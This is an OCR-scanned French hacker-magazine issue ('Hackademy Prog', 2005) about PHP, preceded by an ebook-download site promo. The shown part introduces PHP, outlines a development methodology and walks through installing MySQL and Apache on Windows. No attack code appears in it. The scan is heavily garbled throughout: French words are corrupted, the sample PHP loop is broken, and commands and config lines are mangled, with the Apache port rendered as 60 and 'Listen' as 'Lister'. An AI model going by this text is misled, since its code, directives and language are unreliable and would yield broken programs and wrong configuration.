(navigation image)
Home American Libraries | Canadian Libraries | Universal Library | Community Texts | Project Gutenberg | Children's Library | Biodiversity Heritage Library | Additional Collections
Search: Advanced Search
Anonymous User (login or join us)
Upload
See other formats

Full text of "bigfavorite.blogspoot"

Downloaded from 

EBOOK FACTORY 



http://ebook.devstude.net 



- Quotidiens 

- Hebdomadaires 

- Mensuels 

- Informatique 

- Autres 



AN ebooks you need!!! 
http://ebook.devstude.net 




Une nouvelle publication de the Hackademy 100% programmation pratique 

Appreneza pup 



r * 



programmer en 

• ESPACE MEMBRES PROTEGE 

• MAILER ANONYME , 

• APPLICATIONS SHELL... 



EXCLUSIF 



de Madchat 
reveles par 
Mr to bozo ! 



PAS-A-PAS ! 



Installer un serveur 

Web Windows 



Garder l'ceil sur les pirates 



evitez I'aspiration de votre site 

qerez vos fichiers, faites du PHP/XML 

u lu - ^m 



D LTD 

irlrLlr 

rrr 



\ 




SOMMAIRE 



P 4 Introduction au PHP 

P.6 Methodes de developpement 

P. 1 1 Installez Apache/PHP/MySQL sous Win 

P. 19 Securisez votre code 

P.22 Sessions en PHP 

P.29 Gestion de flchiers 

P.40 Blindez votre espace web 

P. 48 Anti-aspiration de site 

P.52 Les secrets de Madchat.org.. 

P.63 PHP en ligne de commande 

P.67 Creez un fichier XML en PHP 

P. 72 Un mailer anonyme 

P. 76 Jouez avec les variables globales 



i 



Jil -' 



Ft 

it Lr 



u 



Le meilleur magazine pour le meilleur des langages 

Esguisse en secret par notre comite de redaction, ce pre- 
mier valet d'Hactademy Prog pcrte finalement sur le 

PHP, un lanqaqe d 'actuate pratique et retative- 

ment simple a utiliser. II nous a paru judicleux de 

le fairs decouvrir a nos lecteurs, de leur ensei- 

gner ces subtiles composantes technique's qui 

permettent de Put i User a hen escient. de 

I'exploiter non pas seulement avec justesse 

et rigueur, ma is egalement avec intelligence 

et ctairvoyance. 

Des codes strategiques pour secu riser voire 
site aux secrets de Madchat, en passant par 
des conseils pour reusslr votre Installation 
et mise en place de pages web, vous ne 
trouverez dans ce numero que de quoi vous 
cantenter. Pour peaufiner un peu, un article 
de methndologie sur la gestion de ws 
travaux divrait vous cuvrir les ctiemins 
de la reussite pour tous vqs pro jets per- 
sonnels du de groups. 
Si des alternatives existent a PHP, ce lanqage n'est 
plus aujourd'hul reserve au dessin d'un contenu dynamique pour des pages internet Comme vous 
pourrez Tapprendre dans notre article sur PHP-CLI, ce langage s'expcirte maintenant dans votre 
environnetnent applicatif courant, et vous permet d'ecrlrede veritable* applications utilisables en 
ligne de commande, 

Et si vous n'etes pas ccnvaincus r jetez done un coup d'oeil au manuel de creation d'espaces mem- 
bres de Frog-m^n : realiser des portails administratifs ou des acces reserves fi'aura plus p-OUT VOUS 
de secret;.. 

Jungles, ruses et prudence sent les epices de ce numero. II ne me raste qu'a vous SQUhalfer, amis 
lecteurs, une excellente dequstation. 




Clad Strife 




THE HACKADEMY PROG 



Sainr Mancte" • 01 53 66 95 
CJad Strife Maquett* PUBUA. Weel Irrpime en CE Depot legal & partition ISSN 
x»urs Commission, peritaire en coufslte HacKatteniy Prog est une manque deposte par la Sacnete 

Directeur de la publkatloa Olivier Spindli 
Tous droits d'exploitation des textes et images est interdite sans i on. ©■ 2005 






en 
DMP. 



I 




Introduction a PHP 

BEWJCOiJPD'ENTTEVOUSOrlTCEmAINE^ 

SAVOIRCE QJJECE ULNGAGE rEPfiESErflWT. DANS CET ARTICLE, NOUS ALLOWS FAIRE 

UNTOURD'HOMZONSURTOUrCEQUEVOUSDEVEZENSAVOIR. 




PHP est on langage de script simple et accessible a tons, relativement jeurte puisqu'il 
fut cree en T994 par Rasmus Lerdorf. A I'grigine, Rasmus Lerdorf a realise ce langage 
afin de generer des statistiques a propos des person nes consultant son CV sur son 
site web. Le siqje PHP signifie hypertext preprocessor, mais initialement, on potivait 
interpreter PHP pour personal home page. Vous 1'annee eompris PHP, est principa le- 
nient destine a la programmation de sites internet dynamtques. 
* La force de ce langaqe se trouve dans sa disponibilite pour un large events il de plates 
formes telles que Windows, Linux ou autres 'BSD, maisaussi pour sa gestion d'une quantite importan- 
ce de base de obnnees avec lesquelles il pent travailler. Mysqi est sans doute la base de donnee la plus 
utllisee awe PHP, et e'est eelle que I 'on retrouve dans la plupart des ouvraqes traitant de ce Engage. 

Aujourd'huL PHP en est a sa version 5, implemented de nouvelles fonttlonna!ite"s lui permettant de 
couvrir tons les dornaines en rapport avec le Web. La gestion de la memoire est amelioree grace au 
nouveau moteur ZendZ dont les proprietes seront decrftes dans les procaines paqes de ce tnariuel. 

RASMUS LERDORF A CREE LE LANGAGE PHP 

Dans les dernieres versions de PHP, il est possible d'etendre les possibilites du langaqe en dehors 
des applications web. PHP-CLI pour Command Line Interface permet de gerer la liqne de corn- 
mandepour des applications en mode console, et php-gth permet quant a lui de creer fakement 
des GUI (applications graphiquesh 

Le principal interet de PHP vient du fait que son code est execute dirertemertt par le serveur, tout comme 
les CGI. De cette far, on, on script PHP peut devenir aussi puissant qu'un CGI realise en Peri ou en C. 
C ha que requete HTTP va etre interpreted afin de repondre a un besoin d£fini par I e site, puis PHP 
produira un code HTML different selon les parametres de cette requete. II est important de noter 
que tout comme le JavaScript, PHP s'integre directement au HTML. PHP apporte done un gain de 
temps par rapport aux CGI pour lesqueFs il est toujours necessaire d'^crire plusieurs iignes de 
code avant de pouvoir y integrer du HTML. 

Apres avoir ete execute, le code PHP est retire de la page pour laisser place aux ficNers HTML pro- 
ducts par les scripts, contrairement au JavaScript dont ('execution est cote client tvotre navigateur), 
ce qui just ifie que son code soit accessible dans la source de voire site internet 



I 




r 



mil 




La syntaxe du PHP est tres simple a rnemoriser et est seen- 

biabiB I Mile du Peri ou du t. De plus, il est possible d'u- 

tiliser Its expressions regulieres grace au* fonctions 

ereg*0- ce qui plaira certainement aux adeptes du 

Perl. 

Pour illustrer la syntaxe et avoir un avant-gout 
du PHP, voici en petit exemple de code exlre* 
mement simple destine a vous montrer a quoi 
ressemble ce femeux langage : 

/* Hello.pnp *f 

<i 

fer(ti=fl;*1<L0;*1++) 

{ 

echo "S1> Hello world !<fcr>"; 

J 
7> 

Pour vous tofivaincre d'utiliser PHP. rfeaprtulons certains o> ses points fort : 

• simplicity ^'utilisation et d'apprentissage, 

• un langage OpenSourM, 

• ut i Usable avec un grand nornbre de base de donnees, 

• une installation simple, 

• un grand nombres de fonctions et de tibrairies, 

• des performances elevees, 

• et bien d'aut res ... 

II existe des applications assez consequentes qui ont ete realises en PHP. On retrouve 
par exemple OScommerce qui est une application permettant de creer 6es boutiques en 
iigne, II y a e gate men t PHPMyAdmin et PHPNuie ainsi que beaucoup, beaucoup d'autres 
applications _ ; )« 

Aujourd'hui la quasi-totalite" des heberqeurs mettent a disposition PHP dans leursoffres et nous 
allons voir darts ce manuel qu'il est tres simple d 1 installer et configurer soi-meme PHP avec Apa- 
che et Mysql que, ce t soil sous Linux, soit sous Windows. 

En conclusion on peut dire que PHP est un langage de reference dans I'eeriture de pages webs 

dynamiques et le fait qu'il exists environ T7 millions de domaines bitilisarit cette tecbnolooie confir- 
ms son importante popularity 

Delete 



I 



r 




I.I 



Methodes de deve 

PROGRAMMER EN PHP, MEME Si L£ 1ANGAGE EN LUI-MEME EST ASSEZ SIM- 
PLE, PEUT SE REVELER ARDU LORSQU'IL S'AGIT DE GROS PR0JEI5. AUSSI 
AVONSNOUS JUGE UTILE DE FAIRE UN POINT SUR LA MAN I ERE D ORGANISER 
LA GESTION ET L'ECRmiRE DE SES PROJETS PHP. CaLE^I S'APPLIQUE AUX 
PROJEIS IMPORTANTS ET DANS LA PLUPART DES LANGAGES DE PROGRAM- 
MATION (A QUELQUE DIFFERENCES PRES : STRUCTURE DU LANGAGE, ETC* 



ETAPES DU DEVELOPPEMENT 
D'UN PROJET 

Un projet comprend plus-ieurs stapes de deve- 
Icppement, Qui. dans la pratique sont souvent 
contend ues et melangees par les developpeurs 

debutants ou mime in it its. 

a) Cahier des charges 

C'est la premiere chose a fa ire : rassembler 
toutes les exigences que doit remplir fe script 
(ou le site, ou ce que vous voule* faire), afin de 
se fixer des objects clairs et precis. II sera 
ainsi plus facile d'avoir une idee du rendu final 
Et de savoir a tout moment si ce que Ton fait 
correspond vraiment a ce que Ton veut faire, ce 
qui n'est pas toujours le cas. Ensuite notez tou- 
tes les idees qui vous passen t par la tete sur In 
produrt (eette phase ne s'arrete pas tant que le 
develOppement n'est pas t ermine) 

h) Plan du projet (structure) : conception gen&ale 
II taut alors organiser ses idees selon un plan 
bien precis. Ce plan, souvent sous forme de 
schema annate, doit presenter les differentes 
parties de votre script et ce qu'elles font. C'est 
done dans cette partie que vous dressez ia 
structure (au architecture) de votre script : les 



dossiers et les pages doivent porter des. noms 
indiguant ce qu'ils contiennent r ainsi que des 
liaisons vers dautres pages (inclusions, redi- 
rections, liens), Vous devez obtenir une arbo- 

rescence comment, ant par la page princi pale de 
votre script (souvent index.php). 
C'est eussi ici que vous definissez quels tests il 
vous faudra effectuersur cheque partie, 

c) Apprentissaqe 

Si vous ne maitrisez pas une partie du script, 
c'est main tenant qu'il vous faut apprendre et 

fa ire des tests jusqu'a ce que vous la maltrisiez 
suffisamment pour Texploiter sans risquer I'er 
reur ou le trou de sec u rite. Enemple : vous far 
tes un portail et vous ne savez pas comment 
envoyer un mail, vous devez done apprendre a 
vous servir de la fonction maiJ correetement et 
fa ire des essais jusqu'a ce que vous pensiez 
savoir suffisamment la manier. 

d) Recherche : dlja fait ? 

On trouve beaueoup de scripts deja faits sur le 
Web : vous pouvez done evrter de perdre du 
temps a en refaire un deja pret en I'incluant 
directement dans votre projet. If vous faut bien 
sur faire attention a la licence, ou a defaut 



e 



I ■ ■ 

OPPEMENT EN PHP 



BIcBTftyl-tl ] A 2 



# 




Projects 



<-*%| %k<.| 1*4*r| i**ui 



:utnarf| !a«lm| flri*M4 I fli I 




avoir I'autorlsation de lauteur et ne pas 

outlier de citer celui-ci dans les fichiers d'aide 
et d'information, Cette partie se fait apres 
I'apprentissaqe, car il vous faut §tre en mesu- 
re de verifier les scripts que vous integrez. 

N'utilisez jamais des scripts dont vous neeom- 
prenez pas le fonctionnement, sinon la totalite 
du code. 

e) Conception derail lee 

La, on delaille, on peaufine. on choisit les fonc- 
tions a utilizer ou a definir. on resume rapi de- 
ment le code a mettre dans chaque pace et les 
fichiers a mettre dans chaque dossier etc. A la 
sortie de cette etape, vous ne devez plus avoir 
qu'a transformer ce que vous avez sur I e papier 
(enfin dans vos notes) en code pour que (a 
fonctionne {en theorie), tests et dgbuqgages 



exrtus, C'est ici element que se planirie la 
deuxieme partie de la batterie de tests a 
laquelle voire script sera scumis, chaque ele- 
ment (function, module, page) devant etre 
teste separement puis dans la structure. 

f) Code, code, code et implementation 
C'est parti I Vous pouvez maintenant commen- 
cer a coder votre script en n'oubiiant pas de 
debuqqer au fur et a mesure (10 lignes sont 
plus faciles a debuqqer que £00), et a vous 
refErer a I 'aide en liqne des que vous avez une 
incertitude. Je vous tonseille de commencer 
par la structure de base, puis d'implementerun 
par un les autres elements el les complements 
(design, finiUoo), mais vous pouvez egalement 
choisir de commencer par le plus ccmplique 
avant la structure de base. 



I 



D 



n 



ruiir 



D 







g) Architecture quasi-finale SI Alpha-tests 1 
Quand suffisamment de parties soni pretes 

(meme si non-achevees) r il faut les tester ann 
de verifier que vous ne Failed pas d'erreurs dans 
la structure de voire script : il vaut mieux le eor- 
riger maintenant que iorsque le code sera qua* 
siment oomplet. Les tests a effectuer portent 
siir les differentes parties, mais aussi sur leurs 
interactions : vous pouvez par exempfe verifier 
les droits d'acces, le ben fonctionnement de 
■"inclusion et de la red i reetion de pages, c el u i d e 
la creation/suppression defichierstemporaires, 
etc. Ce sont les alpha-tests de base, que vous 
avlei prevus en b et e, destines a eprouver 
chaque element seul et dins la structure 
ensemble, dans le maximum de cas possibles (y 
compris une tentative de pirataqe). 

h) Alpha-tests I et b-lta-tests 

Une fois que les parties de base de votre script 
sont pre" les, vous pouvez terminer les alpha- 
tests : il s'agit ici de tester I'ensemble du script 
par tous les movers que vous pourrez mettre 
en oeuvre (eaempie : un audit de sec u rite est 
toujours le bierwenu), N'hesitez pas a prendre 
I'utilisateur pour un cretin fini ou un petit 
curieux lorsque vous antic ipez ses actions. 
Reprenez ensuite depuis I'etape f jusqu'a ce 
que le produit fonction ne correctement. 
Vous passezatorsau beta-test : le but etant de fa re 
tester, si possible par des personnes exterieures et 
dans differentes condition*; vote creation afin d'en 
eliminer les demiers bugs et default Les oita-tes- 
teurs sent done des utiltsateurs curieux qui decouv- 
rent votre produit, et qui auront une approche for- 
cement ■ditTeVente de la voire. Attention : meme 
dans te eas de projets Open-Source, il ne faut pas 
confondre beta-testeurs et developpeurs-contribu- 
teurs : eeux-ri n'interviennent que quand la premie- 
re version (au moire) 1 du script est firrie. 



i) Dernier debuggaqe & Optimisation du code 
Une fois les impressions recueillies r il ne reste plus 
qu 1 a debugger les eventuelles erreurs, et a opti mi- 
ser le code Cc'est-a-dire essaver, sans en changer 
le fonctionnement, de le reudre plus petit ou plus 
rapide a executer). Bien siir, de nouveaux tests 
viennent corrflrmer la reussite de ('operation 

j) Premiere version 

La premiere version est prete : vous pouvez 
done le mettre a disposition des utilisateurs, 
accompagnee de fichi-ers d'aide et d'informa 
tion. N'oubliez pas de leur laisser un moven de 
vousjoindre pour toute question ou remarque, 

CONSEILS SUR 

LE DEVELOPPEMENT EN PHP 

• Verifier la configuration du serveur : ilcomrient de 
verifier que leservetir ne Moque pas lesfonctions 
utilises dans le script (en executant la fonction 
phpintaQty, qu'il utilise une version siiffisamment 
recentede PHP (avee phpversionOJet les bonnes 
extensions (aussi dans phpinfoO). Vous pouvez 
f aire un script verifiant tout cela, ou indiquer la 
configuration requise dans les fichiers d'aide. 

• Gestion de erreuis personnalisee : i I vaut mieux 
ne pas laisser s'afficher les message d'erreur 
(qrace a I'operateur @0, mais utiliser des func- 
tions de test pour verifier la bonne marche du 
script <alnsi que or die(5message_erreur); ) {cf . 
Article "Blindez votre site! 1 ') 

• Utiliser des noms de variafoles/fonctions/pages 
explicites : n'hesitez pas a utiliser des synony 
mes ou a melanqer I'anglais et le francais. Si 
vous voulez eke vraiment rigoureux, vous pou- 
vez fa ire com me ceci : $ * type de variable {1 
lettre) * nom explicite, De meme pour les noms 
de fonction. ou le type est celui de la valeur 
retoornee par la fonction. 

Ex : blsValid^sEmail) pour une fonction veri- 



I 



-rr 



fiant la validate d'une adresse email, avec s 

pour string (chain* de caractere) et b pour boo- 
lean (TRUE/FALSE). 

• Optimisation taihe/rapidite : a fair? en fonction 
de vos exigence. Par temple, voys poyvez 
rem placer un if then else par I'operateur ter- 
nalre ?: > ou choisir de lire un flchi&r avec file 
plutot qu'avec f get s. 

• Ne pas tiesiler a consulter la documentation en 
lione de PHP, et a faire des tests en comple- 
ment, -car celle-ci contient quelques erreurs. 

• U titer un editeur specialise avec coloration 
syntaxique (PHPed, Jext, etc.) : cela permet 
d'eviter pasmal d 1 erreurs. 

■ Tester, lorsque c'est possible, en local plutot 
que sur un serveur (question desecurit^). 

« Les testsfen particular les beta-tests) decent, 
si possible, €tre effectues sur differentes plate- 
formes (au moiris Windows et un Unix-like). 

• Joindre des fichieri d'aide et d'information 
indiquant le ou les auteurs (avec leurs emails 
et sites web}, une description rapide du script, 
un historique des versions et une configuration 
particuliere requlse si besom est, 

ERREURS COURANTES 

Void une list? non-exhaustive des erreurs les 
plus courantes en PHP, autrement dlt des c ho- 
ses a verifier en premier lieu lorsqu'une erreur 
s'affiche a I'execution. 
Erreurs d'ecriture (parse error) : 

• virqule, point-virgule ou dollar manquant. 




[[ 



TTI 



* erreur de parenthese / accolades I crochets en 
trap ou non-ferme(e)s, 

* guillemets doubles et simples en trop cu man- 
quants, carac teres non-echappes, 

#fautesdefrappe r 

* confusion (ex : print et echo, \n et \r\nj, 
A utres: 

* erreurs mathematiques (racirie Carre's d'un 
ncmbre negatif, division par 0, etc.), 

* portee des variables^ 

* f ichiers inextstants ou inaccessible^ 

* header tard if, 

* boucle mf inie. 

Le manque de rigueur de PHP est souvent la 
cause de confusion, aussi faut-il etre parti tu- 
lierement vigilant a la syntaae et I'orthoq raphe 
de chaque fonctinn. 

frcemple courant : is_setO ou isdirO teu l^u de 
issett) et is_dir{». 

CONCLUSION 

Cette methods n'est evidement pas obligators, 
et est surtout destines a de gros projets r les 
petits necessitant rarement suffisamment de 
temps pourdifferentier les etapes, Cela dit r elle 
se rapproche de celle utilises par les inqenieurs 
(elle a d'eiileurs ete lue. corrigee et approuve'e 
par un ingenieur que je remercie au passage). 
Sur ce, je vous souhaite a tous un bon develop- 
pement, et n'oubliez pas ; il y a deux manieres 
d'ecrlre des programmes sans bugs, seule la 
troisieme fnnctionne. 

efca 



LE SAVIEZ-VOUS ? 

Dans I 'opt fque de la qe&tion et du suivl de vos prajets personnels ou de groupes. PHP a vu fleu- 
rlr des gestienn aires de projett ("projects maivaqers") reellement dignes de ce nom. On peut 
amsi titer DotFrajeet (http^/http^/www.dotpnoject.net) ou encore Gforge (http://www,gfor- 
ge.orq). N'hesltei pas a Les tester ! 



I 



D 



U 



r 



iririir 

m — 






ffis 






amifli?BHM3 



suTihternet 

Lc mode d'emploi 
by the Hackademy 



P2P - Vic privce 



- protection - lib erte ■ Tchat 



En vente en kiosque 




[ 



If) 



Installer PHP, Apache 
et MySQL sous Windows 

DANS CET ARTICLE, NOUS ALLONS VOIR COMMENT INSTALLER ET CONFIGURER 
PHP5 AVEC APACHE2 ET MVSQL4.1 SUR WINDOWS, LE BUT DE CET ARTICLE EST 
D'EXPLIQUER LES EHFFIRENTES OPTIONS ET DE COMPRENDRE LE PHP DANS LES 
MEILLEURES CONDITIONS. 



INTRODUCTION IWWWWimj!^ 






Ojti Grt! SffB^OJ! 



GMim 



Le couple PHP/MySOLs'est 

tres developpe sur Internet 

au tours de ces demieres 

annees et beaucoup de 

personnes commentent 

leur apprentissage du langaqe 

PHP sous Windows. La plupart 

des debutants utilisent des 

programmes d'installation 

automatique tels que 

Easyphp et certains d'entre 

eux tie connaissent pas la 

valeur des flchiers de 

configuration. Afh d'eviter 

ce genre de desaqr£nnents f 

nous aliens expliquer les etapes d'installation 

d'un serveur Apache/P HP/MySQL ainsi que les 

options de configuration les plus importantes. II 

est toujours plus interessent de eonnaftre les 

grander lignes du phpJni pour pouvoir titer par- 

tle de tous les avantaq.es du PHP. 

1 - MYSQL 

MySOL est un systems de qestion de oases de 
donnees relaticmnelles liable et facile a utili- 
ses dis&onible depuis 1996, II a gagne en popu- 
larity grace a PHP avec lequel il est utilise" pour 




tf J*J m** l»44H V rfW ** ■* *" MUWftft MWfflt, tfekhct. £»± C«Ul4» 



HJ-- 



la conception de sites Internet dynanniques. La 
major ite des applications PHP manipulent des 
informations (listes d'utilisateurs, ensemble de 
produits. etc.). Avec MySOL, nous pourrons 
qererces informations plus efficacement. 
Vous pouvez obtenir MySQL depuis son site offi- 
cial www.mysql.com, choisissez la derniere ver- 
sion pour Windows. Apres avoir telecharge et 
detompresse rare hive, vous obtiendrez un 
fkhierSetup.exe. E*ecutez-le. 
L'installateur vous demands en premier lieu le 
type d 1 installation que vous desirez, nous choi- 



e 



u 



iriRir 



— 



r 







- >Mdlb frciivHy Mtnfi 

hiPW*OGt pa**vOrd: 
ConfHne 



' I WHf J ^1 



rrr 

sirons ,r Custom " pour personnaliser I 1 instal- 
lation. Nous aurons besoin d'au mains Z1 mo 
d'espace disque et il faudra creer un repertoi- 
re "". La seule option a modifier est I 'emplace- 
ment d 1 installation, choisissons " 
c:\serveur\mysql '\ Pour le reste, il suffit d 1 ap- 
puyer sur " N ext ' ' jusq u ' a ce q ue vous arriviez 
a la derniere etape. Si tout s'est bien passe, 
vousdevez obtenir I'ecran suivant : 

L'installateur nous 

deroande ensuite si nous 

avonsuncomptesur le 

site MysqL Cette option 

n'etant pas obligate ire. 

vous pouvez vous en 

passer en mettant " 

Skip Sign-Up ". 

Mysql est main ten ant 

installe correctement 

et il ne nous reste plus 

qu'a le configurer. Pour 

cela, un assistant de 

configuration est lance 

automatiquement 

apres ('installation, 

Les options proposees 

par defaut sont correctes pouf une utilisation 

personnel le, on pent alors se contenter de clh 

quer sur " Next "jusqu'a T'ecran de configuration 

des utilisateurs. Cette section est tres impor- 

tante car si vous n'ajustez pas correctement 

les droits des utilisateurs. vous vous expose? a 

des problemes de securrte. 

II taut imperativement indiquer un mot de 
passe pour I'utilisateur root et tocher la case " 
Root may only connect from localhost ", La 
derniere option ne doit pas etre validee, sinon 
n ' importe quelle personne pou rra se connecter 



au serveur et decouvrir les informations conte- 
nds dans vos bases de donnees. 
La derniere etape de cat assistant consiste a 
valider les options choisies. apres cela nous 
pourrons nous connecter a nos bases de don- 
nees et modifier manuellement la configuration 
en editant le fichier ,f CAserveur\mysql\my,ini 
" qui vientd' etre cree. 
Votre serweur de base de donnee MySOL est 




Htm ftcrrxftpHmPd. 



*] AM *wcnip camel f ran bofosJ; 



;.. JCriM* An AftstTfmr Mi noun 



1 



net* ihtt Ihl CHI Ifctd (o mlnann rt«*m 



{ \m l 



maintenant installe ; un nouveau service Win- 
dows se lancera au deitiarrage et se mettra en 
ecoute sur le port 3306 (le pert de MySOL). Si 

vous etes la seule personne a aece^er aux 
bases de donnees, je vous conseille de confi- 
gurer votre firewall pour qu'if refuse les 
connexions externes vers le port 3306. On peut 
egalement empecher les connexions externes 
depuis les tables " host " et " user " de la base 
MySOL, cependant en utilrsant le firewall on 
evite que des exploits soient lances contre 
not re base de donnees, 
Testons maintenant notre configuration, Pour 



I 




tela il taut ouvrir une invite de commandes MS- 
DOS et taper le-s commandes suivantes : 

C:\>cd serveurXtmysqlXbln 

CtNserveurNmysql \b1n5nwsqt.exe -u root 

Enter password: ********** 

Welcome to the tlySQL monitor. Conrnands 

end with 3 or \g. 

If our HySQL connection 1d is 4 to server 

version: 4.1,7 -nt 



C : \serveur \iuy sq 1 \b 1 n>sat 
PATH^EPATH*; c:\serveur\nvsql \M n 
C:\se rveur\my sql \b1 n>cd \ 
C:\*nysql -V 

mysql Ver 14.7 Distrib 4*1.7+ 
W1n35/Win9a C132) 



I V^1 



Type h help;' or , W for help. Type N \C 
to clear the buffer. 

mysqt^ show databases; 

+ — + 

I Database I 
t + 

I my&ql I 

1 test I 
+ ~+ 

2 rows In set (0.01 sec) 



EHy5ql> quit 
Bye 

Si vous tentej de lancer la command? " 
mysqlexe M depuis un repertoire different de 
■ C:\serveur\mysqHM n> ", vous aurez 
one erreur. 
C: \?mysql.exe 

'mysql .exe' n b est pas reconriu en tant 
que toffinande Interne ou externe, un pro- 
grams executable nu un fierier de com- 
mandes. 

Poureviter cela et pouvoir utiliser les executable; 
de mysql depuis n'hnporte quel repertoire, vous 
devez modifier la variable d'environnement PATH. 
Vous pouvez le faire depuis la liqne de commande : 



for 



Lors de I 'installation, deux bases de donnees 
sont treees : "mysql" et "test". La premiere 
est tres important*. C 1 est elle qui va nous per- 
mettre d'ajauter des utilisateurs et de qerer les 
droits sur les autres bases de donnees, ne I'ef- 
f acez surtout pas. 

Actuellement nous sornmes obliged d'utilLser le 
cempte root pour nous connecter aux bases de 
donnees, ce qui est danqereux et peut compro- 
mettre la security du systeme. II faut done 
ajouter un nouvel utilisateur dont on se servira 
pour se connecter avee les scripts PHP. Vous 
pouvez creer cet utilisateur en insurant une 
nouvelle valeur dans la table " user " fournie 
avee la tiasededonnks" mysql h . 
II reste une option que I 'on peut modifier, it s'a- 
qit de la directive " datadir " du fichier de 
configuration " c;\serveur\mysql\nTvini 1 \ qui 
contkent I 'emplacement des bases de donnees, 
II est plus sur d'utiliser un repertoire situe sur 
une autre partition, 

2 - APACHE 

Apache est un serveur web Open Source tres 
puissant. Depuis sa creation, le nombre de ser- 
veursl'utilisant ne cesse d 1 aucmenter et il est 
devenu le serveur web le plus populaire du 
rnonde. Bien qu'Apaehe sort deja, par defaut, un 
serveur tres complet, il est possible d'etendre 
ses fonctionnalitls en ajoutant des modules 
tels mod.ssl ou rnodjiwrite. Ce n'est pas avec 
ces quelques Iiqnes que vous pourrez vous ren- 
dre compte de toute sa puissance etant donne 



i 



D 



U 



D 



riRir 

m— 



que des livres entiers ont £M Merits dans ce 
but, Uidee que vous devez retenir est que, 
grace a lui r vous pourrez publier ras donnees 
sur Internet ;) Pour obtenir plus deformations 
a propos d Apache, je vous invrte a visiter son 
site off iciel http://www.apache.orx]. 
Nous hstallerons la derniere version disponi- 
ng que Ton peut obtenir directement a partir 
du lien ; 

http://mir2.ovh.net/ftp.apachs,flrq/ilst/htt[Kl/bi 
naries/wta32/a pftche_Z.D.52-wi n32-*8&- 
no_ssF.rasi Efextensfon mm contient une ver- 
sion deja compile d'Apache, ce qui facilfte son 

installation). 

Apres avoir lance rwtre mstallateuret accept! la 
licence (que vous aurez pris le temps de lire...), 
nous arrivons & la conf ip rat ion de notre doma i- 
ne. Le premier champ, " network Domain ". cor- 
respond a votre DNS, le second, " Server Name *\ 
au nom de votre site. Le dernier champ permet 
de definir le maii de I'adnumstrateur dg site. 



Lors de I'etape suivante, il faut choisir son type 

^'installation. Comme pour MySQL choisissez 
" Custom ". Ensuite il faut changer le reper- 
toire d'inslallation et mettre "" a la place Rien 
de particular pour Ja suite, conrentez-rous 
d'appuyez sur » Next " et de vaJider rinsta Na- 
tion. Voila, le serveur est en ecoute sur le port 
60, ce que nous pouvons verifier en nous 
connectant sur http://localho&t/ du nous ver- 
rons la page suivante s'afficher : 

L£ code de la page ^$tfita5etrauiiedra"dtaer 
wur\Ap*he2Vitdocs ". vbus pouvez effacer lesfichiers 
oontenus dans ce repertoieet creer w nouveau fierier 
" indexhtml " Si vous actuafcez la page, vous verrez 
apparaftrele contenu de wrte fichier nguveiementcnM 
Vous avez sans doute remanque I 'apparition d'une 
nouvelle icone dans la barre de tache, elle cor- 
respond a T H Apache Service Monitor ■ qui permet 
de cjerer directement Apache en offrant la possibi- 
lite de lancer, feaeVnarrer ou eteindre le serveur. 



Server Information 

Seas* ante* yew tw^tt'* nFornvKort 



|voti«lur:iiwie. 



.cam 




frrvf Www (t,g. iwfw.w^tf^K lc^ i) 



t&mmntm'i £tMl *ddi*M fog, v*bn**«+ scmt * t .«m)i 



Inrtil ApKh* HTTP Strvw 2.0 program md ihatmjts foe : 

0fo» AlUjcrv , on Pbrt 80, » a Setvwe - ftennrnended, 
Oort/fof thu Cwert Usftr, on Port 6080, «tan Parted ftpuafty. 






■ " * 



TT 







* 



3 d 



' i^tirs :u™l O LM^ 1111 * 11 1 






c 



3 



Seeing inn msicajt of the wttaite you evpettti 

dlDtf 






Ttm\ i r i »n rip irti* 



Pour avoir des informations sur voire version 
d'Apache ainsi que sur la facon dont il a ete 
compile, rendezvous dans le repertoire " 
C:Vserveur\Apactie2\bin ■ et lancet la com- 
mands suivante : 

C:\serveur\Apache2\birpApache.exe -V 
Server version: Apache/Z.0,5? 
Server built: Sep 23 2094 16: 1? :34 
Server's Module Magic Hunter: 20029903:9 
Architecture: 32- bit 
Server coq?i 1 ed with 

-D APACflE_MPM_DIR= ,, server/mpm/'w1ninf 

-D APft_HAS_SEHDFILE 

-D AWLHASJtlAP 

-0 APOAS_QTttER_0ULB 

-D AP_HAVE_ftELlABLt_PIPEILL06S 

-D HfrTP0„R00T="/apache" 
'D SUEXECJJI^VapaelWbln/suewc" 
-D DEFMJLT_SCOREB0ARI^"lflgs/apaehe w njn- 
time.status" 

- D 0tFAJJLT_ERPJ0PU0^ H 1 ogs/ernjr . 1 og* 
-D AP^TYPESJCONFlGLFILE^cmf/mil me, types" 
-D SERVER.GQN F 1G ,FI LE* B conf /tittpd . conf ■ 



L'avantaqe d'Apache est qu'il utilise un unique 
fichler it configuration, qui se trouve dans " 
c:\serveur\Apache2\conf " et se nomine 
httpd.ccmf. Ce fichier est compose de trois sec- 
tions distlnctes. Nous allons done voir quel les 
sunt les principalis directives caracterisant 
chacunedetes sections. 

Section! : Cetto section permet de configurer 

I'environnement global d'Apacbe. On y trouve 
les directives indiquant I 'emplacement des 
fichiers de configuration et eel les contrfllant le 
f onctionnement geniral des processus. 
ServerRoot "C;/serYeur/Apache2" 

-> Cette directive indique Le dossier d 1 installa- 
tion, e'est le plus haut niveau de rarborescen- 
ce d"Apache 4 on y trouve les fichiers de confs, 
les logs, la documentation etc. Les autres direc- 
tives font r£f£rence a SerwerRoot pour les c he- 
roins relatifs. 
Lister 60 

-> Permet de definir le port sur lequel Apache 
reccit et traite les connexions. Vous pouvez 



I 



egalement aj outer une adresse IP en pi js du 
numero de port afin qu'Apache utilise une inter- 
face r^-seau speciMque. 
LoadModule nomjnodule 

modLfles/nonLrnodule.so 
■> A partir die cette directive, vous pouvez ajou- 
ter oj supprimer des modules afin d'etendre 
les c apatites du serveur. Pour connaitre la liste 
des modules disponibles, il suffit de lister le 
repertoire "modules/" . 
Vous n'aurez carta inement pas besoin de modi- 
fier fes autres directives de cette section, ce 
n'est done pas la peine de les decrire. 

Section Z : Cette section contient les directives 
definissant les pars metres du serveur par 

'Jefdur Cela correspond au site qui s'affiche si 
I'on n'utilise pas d 1 Notes virtu eFs. 
ServerAdmin admJn^norn_d u_site.com 

-> La directive ServerAdmin deli nit I'adresse de 
la personne gerant le domaine. Cette adresse 
est utile pour preveriir I'administrateur s'il y a 
des problemesd'accesacertaines pages, 
ServerName nomjlu site:GO 

-> Definit I'adresse du site principal, si vous n 1 a- 
vez pas de nom de domaine, vous pouvez alors 
indiquer le nam de votre machine ou IIP cor- 
respondante. 

Docu-mentRoot " Ci/serveur/ApaclieZ/htdDcs" 
■> Cette directive donne lechemin d'accesaux 
fichiers du site principal. Comme pour la direc- 
